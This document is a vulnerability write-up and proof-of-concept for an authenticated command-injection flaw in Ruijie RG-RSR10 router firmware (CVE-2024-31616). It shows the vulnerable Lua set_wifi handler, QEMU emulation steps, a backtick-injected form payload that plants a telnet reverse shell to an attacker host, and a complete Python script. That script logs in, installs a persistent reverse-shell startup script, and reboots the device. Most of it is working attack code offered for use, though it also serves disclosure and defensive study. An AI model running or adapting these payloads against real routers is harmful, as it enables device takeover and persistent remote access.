[CVE ID]
CVE-2024-31616 [PRODUCT] RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S
[VERSION]
RSR10-01G-T-S_RSR_3.0(1)B9P2, Release(07150910)
PROBLEM TYPE
[RCE] Authenticated Remote Command Execution
[DESCRIPTION]
Specific firmware versions of the RG-RSR10-01G-T(WA)-S series routers allow authorized attackers to trigger arbitrary command execution vulnerabilities using specific functionalities of the web management page.
Exploit Author:Yaxuan Wang
Date: April 3, 2024, 10:23:38
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S
git clone https://github.com/Swind1er/fimware.git
binwalk --run-as=root -Me ./RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin
└─# readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 01 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 1
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Architecture: MIPS big endian
└─# tree -L 1 ./usr/lib/lua/luci
./usr/lib/lua/luci
├── cacheloader.lua
├── cbi
├── cbi.lua
├── ccache.lua
├── config.lua
├── controller
├── debug.lua
├── dispatcher.lua
├── fs.lua
├── http
├── http.lua
├── i18n
├── i18n.lua
├── init.lua
├── ip.lua
├── json.lua
├── ltn12.lua
├── model
├── sauth.lua
├── sgi
├── store.lua
├── sys
├── sys.lua
├── template
├── template.lua
├── tools
├── util.lua
├── version.lua
└── view
11 directories, 19 files
You can see that the entire file system is based on the Linux openwrt architecture, using uhttpd as the server-side.
File Location
/firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/common_quick_config.lua
Vulnerable File
┌──(root㉿Dionysus)-[~/…/lua/luci/controller/admin]
└─# cat ./common_quick_config.lua
module("luci.controller.admin.common_quick_config", package.seeall)
function index()
entry({"admin", "common", "set_wifi"}, call("set_wifi"), nil).leaf = true
entry({"admin", "common", "set_cwmp"}, call("set_cwmp"), nil).leaf = true
entry({"admin", "common", "get_cwmp"}, call("get_cwmp"), nil).leaf = true
end
function trimCli(str)
local s, n = string.gsub(str, "[^%w]",
function(s)
return ("\\"..s)
end)
return s
end
function set_wifi()
local disable = luci.http.formvalue("disable")
local ssid = luci.http.formvalue("ssid")
local key = luci.http.formvalue("password")
local hidden = luci.http.formvalue("hidden")
local shell = ""
shell = shell.."uci set wireless.wifi0.disabled="..disable..";"
shell = shell.."uci set wireless.@wifi-iface[0].ssid="..ssid..";"
shell = shell.."uci set wireless.@wifi-iface[0].default=2.4G;"
shell = shell.."uci set wireless.@wifi-iface[0].mode=ap;"
shell = shell.."uci set wireless.@wifi-iface[0].encryption="..(key~="" and "psk-mixed" or "none")..";"
shell = shell.."uci set wireless.@wifi-iface[0].key="..trimCli(key)..";"
shell = shell.."uci set wireless.@wifi-iface[0].hidden="..hidden..";"
shell = shell.."uci set wireless.@wifi-iface[0].network=lan;"
shell = shell.."uci set wireless.ra0.band=2.4G;"
shell = shell.."uci set wireless.ra1.band=5G;"
shell = shell.."uci commit;"
shell = shell.."/etc/init.d/m4g-ctrl restart >/dev/null 2>/dev/null;"
shell = shell.."/etc/init.d/rns restart >/dev/null 2>/dev/null;"
shell = shell.."/etc/init.d/network restart >/dev/null 2>/dev/null;"
shell = shell.."/etc/init.d/sw_ethctl restart >/dev/null 2>/dev/null;"
shell = shell.."/etc/init.d/dnsmasq restart >/dev/null 2>/dev/null;"
shell = shell.."/etc/init.d/firewall restart >/dev/null 2>/dev/null;"
fork_exec(shell)
rv = {code = 0}
luci.http.prepare_content("application/json")
luci.http.write_json(rv)
end
--Orther Methods
function fork_exec(command)
local pid = nixio.fork()
if pid > 0 then
return
elseif pid == 0 then
-- change to root dir
nixio.chdir("/")
-- patch stdin, out, err to /dev/null
local null = nixio.open("/dev/null", "w+")
if null then
nixio.dup(null, nixio.stderr)
nixio.dup(null, nixio.stdout)
nixio.dup(null, nixio.stdin)
if null:fileno() > 2 then
null:close()
end
end
-- replace with target command
nixio.exec("/bin/sh", "-c", command)
end
end
"In the Lua control file of the quick setup feature under its admin directory, the set_wifi()
function for WiFi settings does not perform complete character filtering on the user-input form data fields disable
, ssid
, key
, and hidden
. Instead, it directly concatenates them into a shell command and adds them to the instruction stream for execution. This allows users to maliciously construct payloads using the character '``', leading to arbitrary command execution."
Here the author selects: debian_wheezy_mips_standard.qcow2
, README.txt
, vmlinux-3.2.0-4-4kc-malta
.
Setting up a simple LAN for communication with QEMU
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 10.10.10.2/24
QEMU Networking Configuration
#In QEMU
root@debian-mips:~# ifconfig eth0 10.10.10.1
Running QEMU
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
Packaging File System
tar -cvf squashfs-root.tar squashfs-root
Enabling Simple HTTP Server
python -m http.server
Downloading and Unpacking File System in QEMU
root@debian-mips:~# wget http://10.10.10.2:8000/squashfs-root.tar
root@debian-mips:~# tar -zvf ./squashfs-root.tar
Configuring Basic Environment in QEMU
root@debian-mips:~# cd squashfs-root
root@debian-mips:~/squashfs-root# rm var #Binwalk may redirect some essential links to /dev>>NULL, so we need to recreate the links.
root@debian-mips:~/squashfs-root# ln -sf tmp var
root@debian-mips:~# mount -t proc /proc ./proc
root@debian-mips:~# mount -o bind /dev ./dev
root@debian-mips:~# chroot . sh
Starting uhttpd
# /etc/init.d/uhttpd start
Login to 10.10.10.1
via a web browser, default password is admin
.
Use Burp to intercept traffic packets from the router's web interface setup wizard.
Arbitrarily construct a legitimate entry:
Forward the intercepted request to Repeater
and construct the request as follows:
As shown in the image, set the called function to /admin/common/set_wifi
and construct a malicious request to establish a reverse connection to the host 10.10.10.2:2333
. The command is as follows:
disable="true"`echo%20"mknod%20a%20p%0atelnet%2010.10.10.2%202333%200<a%20|%20/bin/sh%201>a">>/etc/profile"`&ssid=haha&password=rootroot&hidden=false
From the screenshot below, it can be seen that the request has been executed successfully.
Our malicious command has been written to /etc/profile
. Listen for connections on the attacker machine.
nc -lvvp 2333
For testing purposes, manually trigger the connection command.
source /etc/profile
As shown in the screenshot, the router automatically connected to our host, indicating that the malicious command was executed successfully.
To further validate, the author here logs the form data processed by the server in /usr/lib/lua/luci/controller/admin/common_quick_config.lua
. The code is as follows:
Resend the malicious packet. As shown below, you can see that the form data parsed in the Lua script contains the malicious command we constructed.
Thus, the vulnerability verification on QEMU is completed.
Router Information
The router is powered on. Ethernet port is used for validation.
Execute the attack script:
python ./poc.py -c 192.168.1.1 -s 192.168.1.111 -P 23 -u admin -p newpassword
The system red light is on, indicating that the router device is rebooting.
As shown in the screenshot below, the router is online and the reverse connection is successful.
# -*- coding: utf-8 -*-
"""
Ruijie Router Arbitrary Command Execution POC.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import argparse
import logging
import subprocess
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
logging.basicConfig(level=logging.INFO)
def main():
parser = argparse.ArgumentParser(description='Ruijie Router Arbitrary Command Execution POC.')
parser.add_argument('-c', '--client', metavar='Client', help='Client IP address.')
parser.add_argument('-s', '--server', metavar='Server', help='Server IP address.')
parser.add_argument('-u', '--username', metavar='Username',default='admin', help='Router username.')
parser.add_argument('-p', '--password', metavar='Password',default='admin', help='Router password.')
parser.add_argument('-P','--port',metavar='Port',default=2333,help='Port to listen on. Note:You must have installed and enabled "nc" in the command line, and allowed the specified ports in the firewall.')
args = parser.parse_args()
logging.info(f'POC author: {__author__},email:{__email__}')
logging.info(f'Client IP: {args.client}')
logging.info(f'Server IP: {args.server}')
url = 'http://'+args.client + '/cgi-bin/router/'
logging.info(f'URL to login: {url}')
headers = {
'Host': args.client,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://'+args.client,
'Connection': 'close',
'Referer': 'http://'+args.client+'/cgi-bin/router',
'Cookie': 'LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh',
'Upgrade-Insecure-Requests': '1'
}
data = {
'username': args.username,
'password': args.password
}
response = requests.post(url, headers=headers, data=data)
stok_value = ''
if response.status_code != 200:
logging.error(f'Failed to login in.')
exit(0)
sysauth_value = response.cookies.get('sysauth')
logging.debug(f'cookie: {sysauth_value}')
if 'Set-Cookie' in response.headers:
set_cookie = response.headers['Set-Cookie']
logging.debug(f'Set-Cookie:{set_cookie}')
stok_value = set_cookie.split('stok=')[1]
logging.debug(f'stok_value:{stok_value}')
else:
logging.warning('Set-Cookie header not found in response')
exit(0)
url = url + f';stok={stok_value}/admin/common/set_wifi'
logging.info(f"URL to attack:{url}")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://'+args.client,
'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/router/quick_set',
'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
}
data = {
# U can do anything you want to do.
'disable': """true`echo "config telnet\n option enable '1'">/etc/config/telnet&&echo "#!/bin/sh /etc/rc.common\nSTART=99\nSTOP=15\nstart()\n{\nmknod backpipe p\nwhile ! telnet """+ args.server + " " + args.port + """ 0<backpipe | /bin/sh 1>backpipe; do sleep 1; done\n}">/etc/init.d/mystart&&chmod +x /etc/init.d/mystart&&/etc/init.d/mystart enable&&reboot`""" ,
'ssid': 'nicessid',
'password': 'rootroot',
'hidden': 'false'
}
logging.debug(f"data:{data}")
response = requests.post(url, headers=headers, data=data)
if response.status_code < 200 or response.status_code >= 300:
logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
exit(0)
else:
logging.info('The command execution request has been sent successfully.')
logging.info(f'Start listening on port {args.port}.')
#That's okay because the router will reboot upon receiving our malicious command, providing enough time to start the listener.
logging.info("Note: If you are using the QEMU simulator, you need to manually execute the following command in the simulated router's shell: 'source /etc/profile', or include it in the payload instruction stream at an appropriate position, or use simpler instructions to verify the vulnerability.")
logging.info("Note: The router rebooting will take some time, please be patient.")
result = subprocess.run(f'nc -lvnp {args.port}', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
if __name__ == "__main__":
main()